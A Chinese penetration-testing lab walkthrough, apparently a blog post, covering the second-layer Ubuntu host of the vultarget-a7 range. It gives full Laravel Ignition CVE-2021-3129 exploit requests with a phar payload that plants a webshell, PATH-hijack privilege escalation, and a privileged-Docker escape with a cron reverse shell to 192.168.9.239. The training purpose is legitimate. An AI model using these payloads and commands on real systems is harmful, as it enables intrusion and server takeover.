vultargeta7--(第二层突破Ubuntu2)

靶场拓扑图如下:

靶场的下载地址:
 http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

续上一章的内容,我们已经通过redis未授权漏洞,成功拿下了DMZ区域的主机,由于上一章直接就是root权限并没有太多可圈可点的地方,第二台主机感觉有很多东西可以细化,那么我们进一步进行渗透第二层网络,我们先看下我们现在的攻击路径图,本文比较适合小白阅读噢!

分析当前权限环境

经过上一章拿下的主机进行翻找,小编发现我们在前一章发现的81端口,是233这台主机反向代理20这台服务器单个端口的,由此可知该业务并不是直接部署在我们获取到root权限这台服务器上,我们可以尝试查看/etc/nginx/conf.d里面所定义的配置文件。

nginx的配置文件路径
/etc/nginx/conf.d
里面有两个配置文件,可以直接看81.conf
vi 81.conf

配置截图如下:

坑点:因为小编在开始渗透测试时,是先攻击了233主机的81端口,反弹shell时候,会直接将20这台主机的权限
直接就反弹回来了,也就导致小编直接处于二层网络之中,那也就没办法做隧道将流量转发出来,也会导致直接
略过了dmz区域,所以我们现在开始尝试攻击web服务。

Laravel-RCE(CVE-2021-3129)

访问靶机的81端口

http://192.168.0.233:81/

可以发现对方使用了Laravel

发送该请求,判断漏洞是否存在
POST /_ignition/execute-solution HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
Content-Type: application/json
Content-Length: 167
 
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "xxxxxx"
  }
}

可以参考如下图,如果回显如下代表漏洞存在噢

然后就是较为枯燥的漏洞利用环节

清空日志文件
POST /_ignition/execute-solution HTTP/1.1
Host:192.168.0.233:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
Content-Type: application/json
Content-Length: 167
 

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

回显如下,你们可以做为参照对比来判断自己是否漏洞利用成功

生成反序列化Payload
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgcGhwaW5mbygpOyA/Pg==|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

我们只需要改动 PD9waHAgcGhwaW5mbygpOyA/Pg==的内容为自己的webshell内容就行

我这里使用的是哥斯拉生成的马子进行进一步测试,需要将马子进行base64编码。

最终生成内容如下:

给日志增加字符,用于对齐上面的payload

POST /_ignition/execute-solution HTTP/1.1
Host:192.168.0.233:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
Content-Type: application/json
Content-Length: 171
 

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }        
}
payload攻击
POST /_ignition/execute-solution HTTP/1.1
Host:192.168.0.233:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
Content-Type: application/json
Content-Length: 171
 

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=47=00=42=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=51=00=42=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=55=00=31=00=4F=00=69=00=49=00=38=00=50=00=33=00=42=00=6F=00=63=00=43=00=42=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=32=00=56=00=6A=00=61=00=47=00=38=00=67=00=55=00=45=00=51=00=35=00=64=00=32=00=46=00=49=00=51=00=55=00=74=00=52=00=53=00=45=00=35=00=73=00=59=00=7A=00=4E=00=4F=00=63=00=47=00=49=00=79=00=4E=00=57=00=5A=00=6A=00=4D=00=31=00=4A=00=6F=00=59=00=32=00=35=00=52=00=62=00=30=00=74=00=55=00=63=00=30=00=74=00=52=00=53=00=45=00=35=00=73=00=5A=00=45=00=59=00=35=00=4D=00=47=00=46=00=58=00=4D=00=57=00=78=00=59=00=4D=00=6E=00=68=00=77=00=59=00=6C=00=64=00=73=00=4D=00=45=00=74=00=45=00=51=00=58=00=42=00=50=00=64=00=33=00=42=00=42=00=57=00=6C=00=68=00=4B=00=65=00=57=00=49=00=7A=00=53=00=6D=00=5A=00=6A=00=62=00=56=00=5A=00=33=00=59=00=6A=00=4E=00=4B=00=4D=00=47=00=46=00=58=00=4E=00=57=00=35=00=4C=00=52=00=45=00=46=00=77=00=54=00=33=00=64=00=77=00=62=00=57=00=52=00=58=00=4E=00=57=00=70=00=6B=00=52=00=32=00=78=00=32=00=59=00=6D=00=6C=00=43=00=62=00=47=00=4A=00=74=00=54=00=6E=00=5A=00=61=00=52=00=31=00=56=00=76=00=53=00=6B=00=56=00=52=00=63=00=30=00=70=00=46=00=63=00=33=00=42=00=6C=00=64=00=32=00=39=00=6E=00=53=00=55=00=4E=00=42=00=5A=00=31=00=70=00=74=00=4F=00=58=00=6C=00=4C=00=51=00=31=00=4A=00=77=00=55=00=46=00=52=00=42=00=4E=00=30=00=70=00=48=00=61=00=7A=00=68=00=6A=00=4D=00=31=00=4A=00=35=00=59=00=6B=00=64=00=57=00=64=00=55=00=74=00=44=00=55=00=6B=00=56=00=4C=00=56=00=48=00=4E=00=72=00=59=00=56=00=4E=00=7A=00=63=00=6B=00=74=00=54=00=51=00=6A=00=64=00=44=00=61=00=55=00=46=00=6E=00=53=00=55=00=4E=00=42=00=5A=00=30=00=6C=00=44=00=51=00=57=00=64=00=4B=00=52=00=30=00=31=00=6E=00=55=00=46=00=4E=00=42=00=61=00=31=00=4D=00=78=00=63=00=32=00=74=00=68=00=55=00=33=00=4E=00=34=00=53=00=6D=00=70=00=46=00=4D=00=56=00=68=00=55=00=63=00=30=00=74=00=4A=00=51=00=30=00=46=00=6E=00=53=00=55=00=4E=00=42=00=5A=00=30=00=6C=00=44=00=51=00=57=00=74=00=53=00=52=00=6E=00=4E=00=72=00=59=00=56=00=59=00=77=00=5A=00=31=00=42=00=54=00=51=00=57=00=74=00=53=00=52=00=6E=00=4E=00=72=00=59=00=56=00=59=00=78=00=5A=00=55=00=70=00=48=00=54=00=54=00=64=00=44=00=61=00=55=00=46=00=6E=00=53=00=55=00=4E=00=43=00=4F=00=55=00=4E=00=70=00=51=00=57=00=64=00=4A=00=51=00=30=00=4A=00=35=00=57=00=6C=00=68=00=53=00=4D=00=57=00=4E=00=74=00=4E=00=47=00=64=00=4B=00=52=00=56=00=45=00=33=00=51=00=32=00=34=00=77=00=53=00=30=00=70=00=49=00=51=00=6D=00=68=00=6C=00=56=00=33=00=68=00=32=00=57=00=56=00=64=00=53=00=54=00=31=00=6C=00=58=00=4D=00=57=00=78=00=51=00=55=00=32=00=52=00=33=00=57=00=56=00=68=00=73=00=63=00=32=00=49=00=79=00=52=00=6D=00=74=00=4B=00=65=00=6E=00=4E=00=4C=00=53=00=6B=00=64=00=30=00=62=00=47=00=56=00=55=00=4D=00=47=00=35=00=4E=00=4D=00=6B=00=30=00=79=00=57=00=6C=00=52=00=43=00=61=00=55=00=39=00=48=00=52=00=54=00=56=00=5A=00=65=00=6B=00=55=00=78=00=54=00=57=00=70=00=4A=00=4D=00=46=00=6C=00=54=00=59=00=7A=00=64=00=44=00=61=00=56=00=4A=00=72=00=57=00=56=00=68=00=53=00=61=00=46=00=42=00=58=00=57=00=6E=00=42=00=69=00=52=00=31=00=5A=00=6D=00=57=00=6A=00=4A=00=57=00=4D=00=46=00=67=00=79=00=54=00=6E=00=5A=00=69=00=62=00=6C=00=4A=00=73=00=59=00=6D=00=35=00=53=00=65=00=6B=00=74=00=44=00=53=00=6E=00=64=00=68=00=53=00=45=00=45=00=32=00=54=00=48=00=6B=00=35=00=63=00=47=00=4A=00=75=00=51=00=6A=00=46=00=6B=00=51=00=30=00=6C=00=77=00=54=00=33=00=64=00=77=00=63=00=46=00=70=00=70=00=51=00=57=00=39=00=4B=00=52=00=31=00=4A=00=6F=00=5A=00=45=00=64=00=46=00=61=00=46=00=42=00=55=00=4D=00=57=00=31=00=5A=00=56=00=33=00=68=00=36=00=57=00=6C=00=4E=00=73=00=4E=00=30=00=4E=00=70=00=51=00=57=00=64=00=4A=00=51=00=30=00=46=00=72=00=57=00=6B=00=64=00=47=00=4D=00=46=00=6C=00=55=00=4D=00=57=00=78=00=69=00=62=00=55=00=35=00=32=00=57=00=6B=00=64=00=56=00=62=00=30=00=70=00=48=00=55=00=6D=00=68=00=6B=00=52=00=30=00=56=00=7A=00=53=00=6B=00=64=00=30=00=62=00=47=00=56=00=54=00=61=00=7A=00=64=00=44=00=61=00=55=00=46=00=6E=00=53=00=55=00=4E=00=43=00=63=00=46=00=70=00=70=00=51=00=57=00=39=00=68=00=57=00=45=00=35=00=36=00=57=00=6C=00=68=00=52=00=62=00=30=00=70=00=47=00=4F=00=56=00=52=00=53=00=56=00=6B=00=35=00=55=00=55=00=31=00=55=00=35=00=54=00=31=00=64=00=35=00=55=00=6E=00=64=00=5A=00=57=00=47=00=78=00=7A=00=59=00=6A=00=4A=00=47=00=61=00=31=00=52=00=74=00=52=00=6E=00=52=00=61=00=56=00=6A=00=42=00=77=00=53=00=31=00=68=00=7A=00=53=00=30=00=6C=00=44=00=51=00=57=00=64=00=4A=00=51=00=30=00=46=00=6E=00=53=00=55=00=4E=00=42=00=61=00=32=00=4E=00=48=00=52=00=6A=00=56=00=69=00=52=00=7A=00=6C=00=6F=00=57=00=6B=00=51=00=78=00=62=00=47=00=4A=00=74=00=54=00=6E=00=5A=00=61=00=52=00=31=00=56=00=76=00=53=00=6B=00=59=00=35=00=56=00=46=00=4A=00=57=00=54=00=6C=00=52=00=54=00=56=00=54=00=6C=00=50=00=56=00=33=00=6C=00=53=00=64=00=31=00=6C=00=59=00=62=00=48=00=4E=00=69=00=4D=00=6B=00=5A=00=72=00=56=00=47=00=31=00=47=00=64=00=46=00=70=00=57=00=4D=00=48=00=4E=00=4B=00=52=00=33=00=52=00=73=00=5A=00=56=00=4E=00=72=00=4E=00=30=00=4E=00=70=00=51=00=57=00=64=00=4A=00=51=00=30=00=46=00=6E=00=53=00=55=00=4E=00=42=00=5A=00=32=00=46=00=58=00=57=00=57=00=64=00=4C=00=53=00=45=00=34=00=77=00=59=00=32=00=35=00=43=00=64=00=6D=00=4E=00=35=00=5A=00=32=00=74=00=6A=00=52=00=30=00=59=00=31=00=59=00=6B=00=63=00=35=00=61=00=46=00=70=00=44=00=64=00=32=00=6C=00=61=00=4D=00=6C=00=59=00=77=00=55=00=57=00=31=00=47=00=65=00=6D=00=46=00=58=00=54=00=6E=00=70=00=54=00=56=00=7A=00=56=00=74=00=59=00=6E=00=6C=00=4A=00=63=00=46=00=42=00=55=00=4D=00=44=00=6C=00=61=00=62=00=55=00=5A=00=7A=00=59=00=7A=00=4A=00=56=00=63=00=47=00=56=00=33=00=62=00=32=00=64=00=4A=00=51=00=30=00=46=00=6E=00=53=00=55=00=4E=00=42=00=5A=00=30=00=6C=00=44=00=51=00=57=00=64=00=4A=00=51=00=30=00=46=00=72=00=59=00=30=00=64=00=47=00=4E=00=57=00=4A=00=48=00=4F=00=57=00=68=00=61=00=52=00=44=00=46=00=73=00=59=00=6D=00=31=00=4F=00=64=00=6C=00=70=00=48=00=56=00=57=00=39=00=4B=00=53=00=45=00=4A=00=6F=00=5A=00=56=00=64=00=34=00=64=00=6C=00=6C=00=58=00=55=00=58=00=4E=00=4B=00=52=00=33=00=52=00=73=00=5A=00=56=00=4E=00=72=00=4E=00=30=00=4E=00=70=00=51=00=57=00=64=00=4A=00=51=00=30=00=46=00=6E=00=53=00=55=00=4E=00=42=00=5A=00=32=00=5A=00=52=00=62=00=30=00=70=00=44=00=56=00=31=00=59=00=79=00=57=00=56=00=64=00=33=00=62=00=30=00=70=00=49=00=51=00=6D=00=68=00=6C=00=56=00=33=00=68=00=32=00=57=00=56=00=64=00=52=00=63=00=45=00=39=00=33=00=62=00=32=00=64=00=4A=00=51=00=30=00=46=00=6E=00=53=00=55=00=4E=00=42=00=5A=00=30=00=6C=00=48=00=56=00=6D=00=70=00=68=00=52=00=7A=00=68=00=6E=00=57=00=6C=00=63=00=31=00=61=00=6D=00=49=00=79=00=55=00=6D=00=78=00=4C=00=52=00=55=00=4A=00=35=00=5A=00=46=00=63=00=30=00=62=00=30=00=70=00=48=00=55=00=6D=00=68=00=6B=00=52=00=30=00=56=00=77=00=54=00=45=00=4E=00=53=00=63=00=6C=00=70=00=59=00=61=00=33=00=42=00=50=00=64=00=32=00=39=00=6E=00=53=00=55=00=4E=00=42=00=5A=00=32=00=5A=00=58=00=56=00=6E=00=4E=00=6A=00=4D=00=6C=00=59=00=33=00=51=00=32=00=6C=00=42=00=5A=00=30=00=6C=00=44=00=51=00=57=00=64=00=4A=00=51=00=30=00=46=00=6E=00=59=00=56=00=64=00=5A=00=5A=00=30=00=74=00=49=00=54=00=6A=00=42=00=6A=00=62=00=6B=00=4A=00=32=00=59=00=33=00=6C=00=6E=00=61=00=31=00=70=00=48=00=52=00=6A=00=42=00=5A=00=55=00=33=00=64=00=70=00=57=00=6A=00=4A=00=57=00=4D=00=46=00=46=00=74=00=52=00=6E=00=70=00=68=00=56=00=30=00=35=00=36=00=55=00=31=00=63=00=31=00=62=00=57=00=4A=00=35=00=53=00=58=00=42=00=4A=00=56=00=44=00=41=00=35=00=57=00=6D=00=31=00=47=00=63=00=32=00=4D=00=79=00=56=00=58=00=42=00=6C=00=64=00=32=00=39=00=6E=00=53=00=55=00=4E=00=42=00=5A=00=30=00=6C=00=44=00=51=00=57=00=64=00=4A=00=51=00=30=00=46=00=6E=00=53=00=55=00=4E=00=42=00=61=00=31=00=67=00=78=00=54=00=6B=00=5A=00=56=00=4D=00=55=00=35=00=4B=00=56=00=44=00=41=00=31=00=59=00=6B=00=70=00=49=00=51=00=6D=00=68=00=6C=00=56=00=33=00=68=00=32=00=57=00=56=00=64=00=53=00=54=00=31=00=6C=00=58=00=4D=00=57=00=78=00=59=00=56=00=44=00=46=00=73=00=59=00=6D=00=31=00=4F=00=64=00=6C=00=70=00=48=00=56=00=57=00=39=00=4B=00=52=00=31=00=4A=00=6F=00=5A=00=45=00=64=00=46=00=63=00=30=00=70=00=48=00=64=00=47=00=78=00=6C=00=55=00=32=00=73=00=33=00=51=00=32=00=6C=00=42=00=5A=00=30=00=6C=00=44=00=51=00=57=00=64=00=4A=00=51=00=30=00=46=00=6E=00=5A=00=6C=00=46=00=76=00=5A=00=30=00=6C=00=44=00=51=00=57=00=64=00=6D=00=55=00=58=00=41=00=35=00=51=00=32=00=63=00=39=00=50=00=58=00=78=00=69=00=59=00=58=00=4E=00=6C=00=4E=00=6A=00=51=00=67=00=4C=00=57=00=51=00=67=00=50=00=69=00=41=00=76=00=64=00=6D=00=46=00=79=00=4C=00=33=00=64=00=33=00=64=00=79=00=39=00=6F=00=64=00=47=00=31=00=73=00=4C=00=33=00=4E=00=6F=00=5A=00=57=00=78=00=73=00=4C=00=6E=00=42=00=6F=00=63=00=43=00=63=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=42=00=7A=00=58=00=35=00=32=00=55=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=4A=00=79=00=42=00=55=00=43=00=43=00=36=00=31=00=45=00=47=00=78=00=32=00=6C=00=68=00=66=00=76=00=6A=00=35=00=61=00=48=00=61=00=4E=00=43=00=34=00=42=00=33=00=6C=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00"
  }
}

生成的最后需要自己增一个a,如下图所示,否则会利用失败。

如下图所示:

清除干扰字符
POST /_ignition/execute-solution HTTP/1.1
Host:192.168.0.233:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
Content-Type: application/json
Content-Length: 13026
 

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

确保代码执行

当状态码显示为200就代表成功了,如果显示500状态码的话就多发几遍就可以了

触发反序列化
POST /_ignition/execute-solution HTTP/1.1
Host:192.168.0.233:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
Content-Type: application/json
Content-Length: 210
 

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  }
}

触发成功后会在根目录下生成shell.php,然后连接该webshell就可以了。

exp利用

如果觉得该漏洞较为麻烦的,可以自行到gayhub上面去搜一下相关的利用脚本。

与Ubuntu2(Docker)的斗争

常规查看一下当前权限,发现权限很低仅仅是个www-data权限,并且很多常规命令无反应,所以推测当前处于容器中,我们需要去对自身所处的环境要做一个判断,我将列出常见的六种方式来确认自身是否处于容器中。

关于判断自己是不是在容器中
方式一: .dockerenv判断大法
以下两条命令
cd /
ls -al
只要你看到.dockerenv,但是这种方式不是百分百准确的,如果你是某一个服务的用户或者权限过低根目录
也是不存在这个.dockerenv文件的	

方式二: .cgroup判断大法
我们可以通过cgroup用于判断自己身处哪种容器,如果存在docker字样就代表在docker容器中
cat /proc/1/cgroup

如果是Kubernetes的话差别也不大,格式大概就是
10:hussss:/kubepods/burstable/pod4ee403-64fe-433d-a319-1cc33339148/e83332836dbf99091333321a0c6f7be1203333333dc31b97c197

如下图所示:

方式三: hostname判断大法
hostname
这种方式并不太准确,因为管理员可以自己定义修改。

方式四: mount |grep '/ type'
mount |grep '/ type'
如果是docker环境则有内容输出

方式五: ps -p 1

查看当前pid为1的进程,可以发现两者很明显的对比。

方式六: fdisk -l

如果为空则为容器,但是这种判断方式也是不太准确,因为在特权模式下,可以正常显示的,所以需要结合多种方式去进行判断。

其实还有很多方式可以去摸索。

容器手工收集容器常用命令
id 查看当前用户
cat /etc/passwd 查看所有用户
uname -a 查看系统信息
ls /usr/bin && ls /bin   查找哪些命令是你可以运行的
env 环境变量
ps -ef 查看进程信息
cat /proc/self/mounts 挂载情况
还有很多,根据需求自身寻找
容器自动化信息收集工具-(cdk)

CDK是一款为容器环境定制的渗透测试工具,可以帮你最大化的收集信息,并且集成了Docker、K8s的特有攻击利用方式

 ./cdk_linux_amd64 evaluate --full

解释一下最基础的几个信息,不过大家还是要学会手动收集,不然看不懂意义不大。

系统信息

环境信息,服务

我这里没有采集到有用信息

特权容器
CapInh可继承能力是允许子进程获得的功能
CapPrm允许能力是一个进程可以使用的最大功能
CapEff是进程有的功能   掩码值如果是0000003fffffffff就代表是特权模式
CapBnd是调用树中允许的功能
CapAmb是非root子进程可以继承的功能

容器挂载

可能可以利用成功的内核漏洞

好的,说过头了,我们继续回到正题上。

环境变量劫持

我们下一步就该考虑提权的问题了

我的思路是查询拥有suid权限的二进制文件

这条命令是用来搜索具有suid或者4000权限的文件
find / -perm -u=s -type f 2>/dev/null

我们其他的都可以忽略就看/bin/mount和/home/jobs/shell这两个,我相信有的读者对mount并不陌生,咱们浅浅证明一下我真的不是不想用sudo提权。

而是小编在测试时提示如下:

sudo -l 
这条是用来列出当前用户可以以超级用户权限运行的命令

我猜测这是因为没有为该用户开启sudo权限。

但是没有关系,咱主打一个心态稳定,换个思路就好了。

还记得我们还有一个/home/jobs/shell,我们可以去分析看看。

当结果如下时我猜测他应该是直接这样写的system("ps"),这样的话就是可以被利用。

后续也证实了这一点

这个时候我们就可以利用环境变量提权,原理其实就是系统会按照$PATH环境变量中定义的顺序,从左到右搜索,如果如下定义的话,$PATH=/tmp:/usr/local/bin:/usr/local/sbin 则会优先搜索使用我们的/tmp,优先使用我们自身定义的/tmp下面的ps进行调用,执行了ps命令/bin/bash 提权。

完整命令
完整操作命令如下
cp /bin/bash /tmp/ps
echo "/bin/bash"  > ps
你可以在上面两条命令二选一
ls /tmp
echo $PATH
export PATH=/tmp:$PATH

为什么要选择tmp目录呢,因为tmp目录可任意读写,按以上操作完毕后,然后执行这个.shell文件,执行whoami发现自己成功获取到了root权限。

Docker逃逸

特权容器逃逸

Docker的特权容器,如果是使用docker run --privileged这样去运行的话,Docker拥有较高的操作权限可以直接对宿主机的磁盘设备进行挂载,也允许Docker容器允许访问主机上的任何设备,可以直接通过写入计划任务反弹宿主机shell或者将ssh密钥写入宿主机后,再通过ssh登录,不过这种利用场景一般是因为要用到systemctl的时候才会开启,所以不多。

查看CapEff是不是0000003fffffffff,如果是的话就是特权模式运行
cat /proc/self/status |grep Cap

也可以使用我们上面推荐的cdk工具进行自动化收集

./cdk_linux_amd64 evaluate --full
也可以看到是特权模式运行

手工反弹shell
查看宿主机磁盘分区情况
fdisk -l

执行命令如下

mkdir /hacker
mount /dev/sda5 /hacker
ls hacker/
cd /hacker
touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/192.168.9.239/6666 0>&1" >/hacker/hacker.sh

echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab

至此成功反弹shell成功

cdk自动化进行攻击

当然我们也可以使用cdk演示一下自动化攻击的流程

cgroup目录挂载

./cdk_linux_amd64 run mount-cgroup "ifconfig"

成功逃逸,并成功执行命令。

至此这台Ubuntu2主机已经渗透完毕啦,成功获取了root权限,我们下一篇将围绕隧道篇去编写,尝试多种方式去搭建隧道,让大家更加透彻的去理解,再开始我们的windows主机之旅咯!!如果觉得浩浩写的还不错的话记得点下关注噢

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值